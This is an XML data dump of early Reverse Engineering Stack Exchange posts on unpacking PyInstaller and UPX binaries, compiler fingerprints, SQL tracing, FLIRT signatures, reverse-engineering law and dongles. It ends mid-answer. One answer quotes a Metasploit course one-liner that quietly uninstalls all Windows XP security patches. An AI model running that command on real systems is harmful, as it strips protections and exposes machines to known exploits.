  <row Id="163" PostTypeId="2" ParentId="160" CreationDate="2013-03-22T15:05:33.877" Score="10" Body="&lt;p&gt;PyInstaller publishes it's &lt;a href=&quot;http://www.pyinstaller.org/browser&quot;&gt;source&lt;/a&gt; so you see exactly how it packs the python code in the executable... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more general approach would be to use a tool like &lt;a href=&quot;http://www.remkoweijnen.nl/blog/2011/10/12/analysing-binaries-with-binwalk/&quot;&gt;binwalk&lt;/a&gt; on the exe as a first step.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2013-03-23T09:59:13.143" LastActivityDate="2013-03-23T09:59:13.143" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostTypeId="2" ParentId="160" CreationDate="2013-03-22T15:39:37.807" Score="37" Body="&lt;ol&gt;&#xA;&lt;li&gt;extract EXE's appended data (block starting with PYZ, until the end of the file)&lt;/li&gt;&#xA;&lt;li&gt;extract wanted files with PyInstaller's &lt;a href=&quot;http://www.pyinstaller.org/browser/project/PyInstaller/cliutils/archive_viewer.py&quot;&gt;archive viewer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;decompyle .PYCs - I personally recommend &lt;a href=&quot;https://github.com/Mysterie/uncompyle2&quot;&gt;Uncompyle2&lt;/a&gt; for that.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-22T15:39:37.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="165" PostTypeId="2" ParentId="113" CreationDate="2013-03-22T17:34:35.167" Score="3" Body="&lt;p&gt;In &lt;a href=&quot;http://www.idabook.com/&quot; rel=&quot;nofollow&quot;&gt;The Ida Pro Book&lt;/a&gt;, Chris Eagle demonstrates use of a plugin called &lt;a href=&quot;http://www.idabook.com/x86emu/&quot; rel=&quot;nofollow&quot;&gt;ida-x86emu&lt;/a&gt;, which can be used to statically unpack binaries by simulating execution within the IDA database.  Check it out; it's open-source, and it's pretty easy to use.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2013-03-22T17:34:35.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="166" PostTypeId="2" ParentId="143" CreationDate="2013-03-22T18:52:19.100" Score="10" Body="&lt;p&gt;I don't think I disassembled any microkernels, but &quot;message passing&quot; is common in at least two categories of programs: Win32 GUI (both raw Win32 and MFC-based), and Objective-C executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases you have some kind of a central &lt;em&gt;dispatcher routine&lt;/em&gt; (or routines) that accept messages and forward them to some &lt;em&gt;recipients&lt;/em&gt;, which may be inside or outside the current program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipients can be registered dynamically (&lt;code&gt;RegisterClass&lt;/code&gt; in Win32) or may be specified in some static fashion (Objective-C class metadata or MFC's message handler tables).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for dispatchers, let's consider Win32's &lt;code&gt;SendMessage&lt;/code&gt;. It has arguments &lt;code&gt;hWnd&lt;/code&gt; and &lt;code&gt;Msg&lt;/code&gt; (and extra parameters). The first specifies the recipient. You may be able to trace where it came from and then just look up the class registration corresponding to the window and check whether its window procedure handles this specific message. I guess you could mark the call with a comment &quot;goes to window procedure 0x35345800&quot; or similar to keep track of it. With MFC you'll need to find the class' message table and look up the corresponding handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Objective-C, &lt;code&gt;objc_msgSend&lt;/code&gt; accepts the receiving object and the &lt;em&gt;selector&lt;/em&gt; to perform. If you can track back the the object, you can check if it has the selector with that name. Or, alternatively, check all selectors with this name in the program. Again, once you found it, make a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a similar approach can probably be extended to all other message-passing systems - find recipients, then at the place of the dispatcher call check which ones can potentially handle it, and check the handlers. Sometimes you don't even need to actually do the first part - if the message ID/name is unique enough, you may be able to find the handler just by searching for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A somewhat related problem is working with C++ and virtual functions but it has been covered in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/87/static-analysis-of-c-binaries&quot;&gt;another question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've just remembered one more kind of programs that don't use the call stack. It's those that use &lt;a href=&quot;http://en.wikipedia.org/wiki/Continuation-passing_style&quot; rel=&quot;nofollow noreferrer&quot;&gt;Continuation-passing Style&lt;/a&gt;, usually written in some kind of a functional language. Greg Sinclair wrote a very nice and entertaining paper on the horrors of disassembling CHICKEN - an implementation of the language Scheme. His site is down but luckily Archive.org &lt;a href=&quot;http://web.archive.org/web/20080827225015/http://www.nnl-labs.com/papers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;kept a copy&lt;/a&gt;. One quote from it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For a reverse engineer, Continuation Passing Style means the end of&#xA;  civilianization as we know it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-03-22T18:52:19.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostTypeId="2" ParentId="60" CreationDate="2013-03-22T22:43:52.747" Score="14" Body="&lt;p&gt;I still maintain that the question is too open-ended as it stands.&lt;/p&gt;&#xA;&lt;h1&gt;A broader perspective&lt;/h1&gt;&#xA;&lt;p&gt;I think RCE always includes the aspect of ethics. Just like a nuclear scientist possesses a wealth of specialized information that can be used for good and bad, so does the reverse engineer.&lt;/p&gt;&#xA;&lt;p&gt;Strictly speaking implementing &lt;em&gt;a feature&lt;/em&gt; is fishy. Very fishy indeed. &lt;a href=&quot;https://en.wikipedia.org/wiki/ReactOS&quot; rel=&quot;noreferrer&quot;&gt;ReactOS&lt;/a&gt; would be a good example of how to deal with that situation. The method is called &amp;quot;clean room reverse engineering&amp;quot;. Even more fishy would be to re-implement something based on the implementation details but without the &lt;a href=&quot;https://en.wikipedia.org/wiki/Clean_room_design&quot; rel=&quot;noreferrer&quot;&gt;clean room&lt;/a&gt; approach.&lt;/p&gt;&#xA;&lt;h2&gt;Clean room reverse engineering&lt;/h2&gt;&#xA;&lt;p&gt;Roughly the point here is that one party looks at the original implementation and code (the reverse engineer). S/he documents the implementation details. As you can imagine this may be important in cases such as ReactOS which strives for binary compatibility. If you read the book &amp;quot;The Old New Thing&amp;quot; by Raymond Chen you will understand immediately what I mean.&lt;/p&gt;&#xA;&lt;p&gt;Another party (the developer, so to speak - important point is that those parties are indeed different individuals, I think schizophrenia doesn't count, though) then uses that documentation of the implementation details and re-implements it. Now, &lt;a href=&quot;https://en.wikipedia.org/wiki/IANAL&quot; rel=&quot;noreferrer&quot;&gt;IANAL&lt;/a&gt;, but given ReactOS which thrives on contributions of developers from all over the world hasn't been sued to nirvana, so I suspect this is legally alright. Whether you &lt;em&gt;or others&lt;/em&gt; deem it ethical is another thing.&lt;/p&gt;&#xA;&lt;h2&gt;However ...&lt;/h2&gt;&#xA;&lt;p&gt;... what I don't understand from your question: why &lt;em&gt;re-implement&lt;/em&gt; something that exists in proprietary form? Sure, to provide interoperability (say &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenOffice&quot; rel=&quot;noreferrer&quot;&gt;OOo&lt;/a&gt; reading the MS Office formats) this makes sense. But overall isn't it smarter to use &lt;strong&gt;ideas&lt;/strong&gt; from the existing application and implement these? Probably extending them and surpassing the existing function in features and functionality?&lt;/p&gt;&#xA;&lt;p&gt;The problem with ideas is that there are countries with software patents and the big players are lobbying heavily even in jurisdictions such as the EU to get legislation passed to allow software patents openly. For now they only exist in niches of existing legislation and due to the fact that the officials of the EPO (and national POs) aren't necessarily the most knowledgeable in new technologies.&lt;/p&gt;&#xA;&lt;p&gt;You should be on the safe side with interoperability &lt;em&gt;for the most part&lt;/em&gt;, even with FLOSS, again drawing from the de facto state where projects such as OpenOffice.org and LibreOffice weren't sued to nirvana either. The same holds for Samba, where Microsoft even invited developers of the project to talk to the Microsoft developers.&lt;/p&gt;&#xA;&lt;p&gt;Your best course of action will be to seek legal advice in your country. It doesn't mean that this applies to other jurisdictions as well, but it will give you a start.&lt;/p&gt;&#xA;&lt;h1&gt;In Germany&lt;/h1&gt;&#xA;&lt;p&gt;Although the EU directive mentioned by Remko exists, in Germany the copyright holders have pushed through quite extensive changes to the &amp;quot;Urheberrecht&amp;quot; (abbrev: UrhG), which isn't quite identical with copyright from countries whose legislation is based on &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Law&quot; rel=&quot;noreferrer&quot;&gt;Common Law&lt;/a&gt; (notably the USA). These changes also resulted in the addition of so so called &lt;a href=&quot;https://de.wikipedia.org/wiki/Hackerparagraph&quot; rel=&quot;noreferrer&quot;&gt;&amp;quot;Hackerparagraph&amp;quot;&lt;/a&gt; in the penal code (§ 202c, StGB).&lt;/p&gt;&#xA;&lt;p&gt;That paragraph stipulates (free form translation of the Legalese, original text in the above linked Wikipedia article):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(1) Whoever prepares a punishable crime according to § 202a or § 202b by producing or acquiring, selling, ceding access to publishing or otherwise making available passwords, security codes - allowing access to data (&lt;em&gt;§ 202a subparagraph 2&lt;/em&gt;) - or computer programs whose purpose is the perpetration of such act, will be punished with imprisonment up to one year or a fine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This is the most important part and you can see why Germans take &amp;quot;pride&amp;quot; in the body of judicial literature which allegedly surpasses the amounts of literature to be found in the biggest libraries.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, the problem should be obvious and if it isn't I shall duly point it out. The problem is that there is no definition in the law what comprises such tool. Is IDA Pro such a tool? What about OllyDbg? What about WinDbg? What about GDB or Immunity Debugger? What about Metasploit? There are literally so many possibilities for violating that law that organizations such as the &lt;a href=&quot;https://en.wikipedia.org/wiki/Chaos_Computer_Club&quot; rel=&quot;noreferrer&quot;&gt;CCC&lt;/a&gt; and its members and sympathizers have criticized it many times over. To no avail.&lt;/p&gt;&#xA;&lt;p&gt;TL;DR: in Germany this is an even more slippery slope. It even resulted in cases where books became virtually useless in the German edition because the author is liable under the Hackerparagraph.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-03-22T22:43:52.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="168" PostTypeId="1" AcceptedAnswerId="169" CreationDate="2013-03-22T23:31:46.983" Score="8" ViewCount="15350" Body="&lt;p&gt;I have an ELF file and want to know if it is UPX packed. How can I detect UPX compression in GNU/Linux?&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2013-03-26T16:25:19.777" Title="How to check if an ELF file is UPX packed?" Tags="|linux|upx|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="169" PostTypeId="2" ParentId="168" CreationDate="2013-03-22T23:54:03.303" Score="11" Body="&lt;p&gt;Okay, assuming vanilla UPX you should be fine by detecting the strings &lt;code&gt;UPX!&lt;/code&gt; or &lt;code&gt;UPX0&lt;/code&gt;. As far as I remember this would also work on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's a shell one-liner such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep UPX\! &amp;lt;filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep UPX0 &amp;lt;filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... assuming the GNU version of &lt;code&gt;grep&lt;/code&gt; here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another method, but using the same principle:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C &amp;lt;filename&amp;gt; |grep -C 1 UPX&#xA;000000a0  00 00 00 00 00 00 00 00  00 00 20 00 00 00 00 00  |.......... .....|&#xA;000000b0  c3 af e9 18 55 50 58 21  20 08 0d 16 00 00 00 00  |....UPX! .......|&#xA;000000c0  a0 fd 16 00 a0 fd 16 00  38 02 00 00 c6 00 00 00  |........8.......|&#xA;--&#xA;0000cf60  fe 61 03 83 78 b5 54 03  67 8b 85 2d ca a8 12 3c  |.a..x.T.g..-...&amp;lt;|&#xA;0000cf70  44 ad bc 12 ab 7e 86 55  50 58 30 0e 01 ee 7c 64  |D....~.UPX0...|d|&#xA;0000cf80  00 f7 d1 80 4a 11 03 58  6e ac 0d 01 ff 92 83 e8  |....J..Xn.......|&#xA;--&#xA;000544e0  73 20 66 69 6c 65 20 69  73 20 70 61 63 6b 65 64  |s file is packed|&#xA;000544f0  20 77 69 74 68 20 74 68  65 20 55 50 58 20 65 78  | with the UPX ex|&#xA;00054500  65 63 75 74 61 62 6c 65  20 70 61 63 6b 65 72 20  |ecutable packer |&#xA;00054510  68 74 74 70 3a 2f 2f 75  70 78 2e 73 66 2e 6e 65  |http://upx.sf.ne|&#xA;00054520  74 20 24 0a 00 24 49 64  3a 20 55 50 58 20 33 2e  |t $..$Id: UPX 3.|&#xA;00054530  30 38 20 43 6f 70 79 72  69 67 68 74 20 28 43 29  |08 Copyright (C)|&#xA;--&#xA;00054e40  7d 24 24 92 b7 0c 7f 12  01 a8 24 49 92 ff 00 00  |}$$.......$I....|&#xA;00054e50  00 00 55 50 58 21 00 00  00 00 00 00 55 50 58 21  |..UPX!......UPX!|&#xA;00054e60  0d 16 08 07 80 44 b5 80  b9 9a 8a d9 a0 08 00 00  |.....D..........|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-03-23T00:00:50.777" LastActivityDate="2013-03-23T00:00:50.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostTypeId="1" CreationDate="2013-03-23T03:47:09.917" Score="8" ViewCount="1444" Body="&lt;p&gt;The compiler adds system information to the output/object file that is created on compilation. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there any compiler option that can prevent this information from being added? &lt;/li&gt;&#xA;&lt;li&gt;Can the compiler signature be completely removed so as to make detection of the compiler used hard/improbable?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-29T08:46:05.143" LastActivityDate="2013-07-15T20:06:45.483" Title="Is it possible to hide the details of which compiler was used?" Tags="|decompilation|compilers|c|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="171" PostTypeId="1" AcceptedAnswerId="173" CreationDate="2013-03-23T06:43:39.273" Score="7" ViewCount="441" Body="&lt;p&gt;I am reversing a closed-source legacy application that uses Microsoft SQL Server (2005) and I would like to find out precisely what queries are being executed in the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it may be possible to use Wireshark to view the network traffic, but it feels quite clumsy so I am looking for something more specialized for this purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a tool that is similar to &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/tamper-data/&quot;&gt;Firefox's Tamper Data&lt;/a&gt;, but for MSSQL to view, and possibly edit queries?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features that I am looking for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Able to view queries precisely as executed by the application (including blobs etc.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Features that would be very useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Able to intercept query execution and allow edits to the value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-04-17T00:41:50.033" Title="Viewing MSSQL transactions between closed-source application and server" Tags="|windows|mssql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="172" PostTypeId="2" ParentId="170" CreationDate="2013-03-23T07:34:21.293" Score="9" Body="&lt;p&gt;My answer here is specific to common C/C++ compilers, but the principles behind the answer generalize to other scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compiler differences manifest themselves in many ways, some of them very subtle.  If it was strictly a matter of attributes in the executable header, then we could easily imagine rewriting said header.  However, each compiler has its own unique flavor of generated code (and which varies depending upon the optimization level).  Each compiler has its own default standard library (which often includes telltale strings), and different default boilerplate code at the executable's entrypoint.  There are other differences such as:  optimizations used in one compiler that are not used in another; the default calling convention could differ; the code generated for function prologues is noticeably different on gcc and MSVC (for example); different compilers have different code sequences and data structures for exception handling; and many more examples.  I would say that it is practically impossible to disguise which compiler produced a given executable.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-23T07:34:21.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="173" PostTypeId="2" ParentId="171" CreationDate="2013-03-23T07:40:57.430" Score="10" Body="&lt;p&gt;Most databases are very friendly to tracing and profiling while the database is running. You need to do very little actual reverse engineering. There's a program called &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms181091.aspx&quot;&gt;SQL Server Profiler&lt;/a&gt; which I believe can dump every single query executed against the database. If you don't have access to the server it becomes a bit more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your application is using ADO you might be able to use &lt;a href=&quot;http://www.aboves.com/products/statement_tracer_for_ado/&quot;&gt;Statement tracer for ADO&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more complex way of doing what you want depends on what sort of database layer your application is using. If the layer is COM based (OLE DB is), then you have two options, either drill into the COM interface or create a COM proxy. I would probably simply hook the objects which derive from the various &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms709709(v=vs.85).aspx&quot;&gt;OLE DB ICommandXXX interfaces&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-03-23T21:21:31.697" LastActivityDate="2013-03-23T21:21:31.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="174" PostTypeId="1" AcceptedAnswerId="247" CreationDate="2013-03-23T08:39:25.617" Score="16" ViewCount="9067" Body="&lt;p&gt;Various software companies distribute their software with hardware security, usually a dongle which must be mounted in order for the software to operate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have experience with them, but I wonder, do they really work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it that the dongle actually does?  I think that the only way to enforce security using this method, and prevent emulation of the hardware, the hardware has to perform some important function of the software, perhaps implement some algorithm, etc.&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="245" LastEditDate="2018-11-22T08:56:15.140" LastActivityDate="2018-11-22T08:56:15.140" Title="Are hardware dongles able to protect your software?" Tags="|hardware|security|dongle|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostTypeId="1" AcceptedAnswerId="184" CreationDate="2013-03-23T08:48:10.120" Score="37" ViewCount="24811" Body="&lt;p&gt;I've seen this referenced in a couple of other questions on this site.  But what's a FLIRT signature in IDA Pro?  And when would I create my own for use?&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2015-04-07T05:12:47.123" Title="What is a FLIRT signature?" Tags="|ida|flirt-signatures|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostTypeId="2" ParentId="175" CreationDate="2013-03-23T08:53:32.293" Score="2" Body="&lt;p&gt;From the Hex-Rays site: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A signature file contains patterns of standard runtime functions. &#xA;With their help, IDA is able to recognize the standard functions and names them accordingly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an effort of full disclosure, I've not really created any for my own use from scratch.  I suppose one instance where creating your own might be helpful is if you have a lot of malware that is of the same family.  Typically, they write and use their own library functions and it would make sense for a FLIRT signature to help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an added bonus, &lt;a href=&quot;https://code.google.com/p/flairdatabase/&quot; rel=&quot;nofollow&quot; title=&quot;here's&quot;&gt;here's&lt;/a&gt; a public repo of FLIRT signatures.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-03-23T08:53:32.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="177" PostTypeId="2" ParentId="170" CreationDate="2013-03-23T09:04:29.617" Score="4" Body="&lt;p&gt;To answer your first question: No, I don't think there are any compiler options for popular compilers that allow you to keep it from adding its compiler artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the problem in this is explored by @Syzygy's answer: compilers generate, sometimes, very different instructions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More than this though, knowing the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11/what-hints-in-machine-code-can-point-me-to-the-compiler-which-was-used-to-genera&quot; title=&quot;artifacts&quot;&gt;artifacts&lt;/a&gt; left behind by different compilers allows you to help make it difficult to distinguish what compiler was used.  For example, imagine compiling your Windows executable with mingw, but then adding a RICH header to it.  This is a contrived example, but by adding this artifact of the MSVC compiler to the mingw output would probably confuse some automated tools.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-03-23T09:04:29.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostTypeId="2" ParentId="120" CreationDate="2013-03-23T09:21:57.000" Score="3" Body="&lt;p&gt;I think there's a couple of approaches to get where you want.  Given your scenario where you have the KB patch on your fully updated system.  To get back to the previous version, uninstall that patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Metasploit Unleashed class used (still does?) has this command for XP that uninstalls all the patches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dir /a /b c:\windows\$ntuninstallkb* &amp;gt; kbs.txt &amp;amp;&amp;amp; for /f %i in (kbs.txt) do cd c:\windows\%i\spuninst &amp;amp;&amp;amp; spuninst.exe /passive /norestart &amp;amp;&amp;amp; ping -n 15 localhost &amp;gt; nul&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another approach that I think gets you to the same, if not better, state is to install a completely unpatched version of the operating system (e.g. from a MSDN install with no service packs).  From here, you can extract the base files.  For the patched versions, MSFT provides an ISO every month with the patches.  You can extract the patched executables from here.  For example, &lt;a href=&quot;http://www.microsoft.com/en-nz/download/details.aspx?id=36959&quot; rel=&quot;nofollow&quot; title=&quot;here's&quot;&gt;here's&lt;/a&gt; the ISO from this month of security updates.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-03-23T09:21:57.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="179" PostTypeId="2" ParentId="175" CreationDate="2013-03-23T09:22:32.883" Score="16" Body="&lt;p&gt;A flirt signature is a pattern used to match known function headers. As an example consider the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, 4Ch&#xA;mov     [ebp+var_4], eax&#xA;push    ebx&#xA;push    edi&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The compiler is free to change any register to another one or move anything around so it all depends on what the compiler thinks is most optimal. Compiled somewhere else the compiler may choose to use other registers, for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, 4Ch&#xA;mov     [ebp+var_4], eax&#xA;push    ecx&#xA;push    esi&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have a couple of options for trying to match this. Either naively create a signature from the sequence of instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    X&#xA;mov     X&#xA;sub     X&#xA;mov     X&#xA;push    X&#xA;push    X&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assume stack frames use ebp and esp, which is actually more dangerous than it sounds. It's common for functions to use ebp as a general purpose register:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, 4Ch&#xA;mov     [ebp+var_4], X&#xA;push    X&#xA;push    X&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA flirt signatures are an attempt to create these sorts of signatures based off of a number of the initial bytes of a function. The problem they are trying to solve is identifying commonly re-used code. These signatures are generated by compiling various commonly used libraries using various compilers. Once the compiler produces a library IDA has tools to extract the signatures from this library while also matching it to its source definition. After a while you can build up quite a lot of signatures for common libraries which will save you quite a lot of time down the road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more complex solution to the related problem of identifying program similarities and differences see &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot;&gt;BinDiff&lt;/a&gt;. It uses much more advanced heuristics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signature I used above as an example is fairly worthless since it's way too generic and will create a lot of false positive matches.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-03-23T09:31:35.337" LastActivityDate="2013-03-23T09:31:35.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostTypeId="1" CreationDate="2013-03-23T09:34:53.353" Score="9" ViewCount="2206" Body="&lt;p&gt;GCC allows you to write optimization plugins that can be used to obfuscate your compiled executable, but this wasn't ported to &lt;code&gt;mingw&lt;/code&gt;.  LLVM allows something similar but barfs when including &lt;code&gt;Windows.h&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a compiler that will allow me to get access to the AST right before link time, and produce a Windows executable?&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2015-03-09T04:38:22.023" Title="Obfuscating Windows Executables" Tags="|obfuscation|windows|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="181" PostTypeId="2" ParentId="170" CreationDate="2013-03-23T09:58:17.717" Score="2" Body="&lt;p&gt;Short answer: no. I don't know of any compiler that has a &quot;stealth mode&quot; switch and if it would have the end result would IMO just be another signature for the same compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @omghai2u suggest you can manually modify the binary and test it against automated tools but I don't think it will help much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better approach would perhaps be to use an exe &lt;a href=&quot;http://en.wikipedia.org/wiki/Executable_compression&quot; rel=&quot;nofollow&quot;&gt;packer/protector&lt;/a&gt;. Although an experienced RE can probably unpack it, it still means a lot of work and knowledge. So at least it's a first line of defense.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2013-03-23T11:27:16.283" LastActivityDate="2013-03-23T11:27:16.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="182" PostTypeId="2" ParentId="174" CreationDate="2013-03-23T10:36:46.837" Score="15" Body="&lt;p&gt;&lt;strong&gt;Problem description&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's make a couple of assumptions. Software is divided into functional components. Licenses are for functional components within that software package. Licenses can be based on time, on version or on a number of uses, i.e you may use the functionality until a set point in time, you may the functionality of the version you purchased or some minor derivative of it or you may use it a number of times. There are two main scenarios you have to solve, where an attacker doesn't have access to a license and where he does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attacker with no license&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first scenario is where your attacker does not have access to a valid license to your product. This problem is easy to solve. Simply assign a separate encryption key to each of the functional licenseable parts of your software. Encrypt each functional part with the encryption key designed for that part. Now you can distribute your software without worry of someone being able to decrypt functions they have not licensed since you never send them the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attacker with access to license&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second scenario, which is much harder to solve, is when your attacker has a valid license to your software but he either wants to redistribute the functions he has licensed or to extend his license time wise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need a reliable time source, this can be solved by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;embedding a public key into a dongle and having the dongle issue a random challenge which must be forwarded to a time server. The time server responds by signing the current time and the challenge and returning it to the client which then sends it to the key and the key then updates its internal clock and unlocks.&lt;/li&gt;&#xA;&lt;li&gt;updating the internal clock based on the time it has been plugged into the computer. The USB port supplies power to your dongle all the time while its plugged in.&lt;/li&gt;&#xA;&lt;li&gt;updating the internal clock based on timestamps sent from drivers installed on the machine its attached to. Only allow timestamps forward in time. Only allow movement backwards in time if the time source is a remote trusted time server supplying a signed timestamp.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your license is based on versions you actually have an attacked who does not have access to a license because your key derivation function for the functional unit takes both the identifier of the functional unit and the version of it as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key distribution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once you have separate keys for each functional unit your licenses 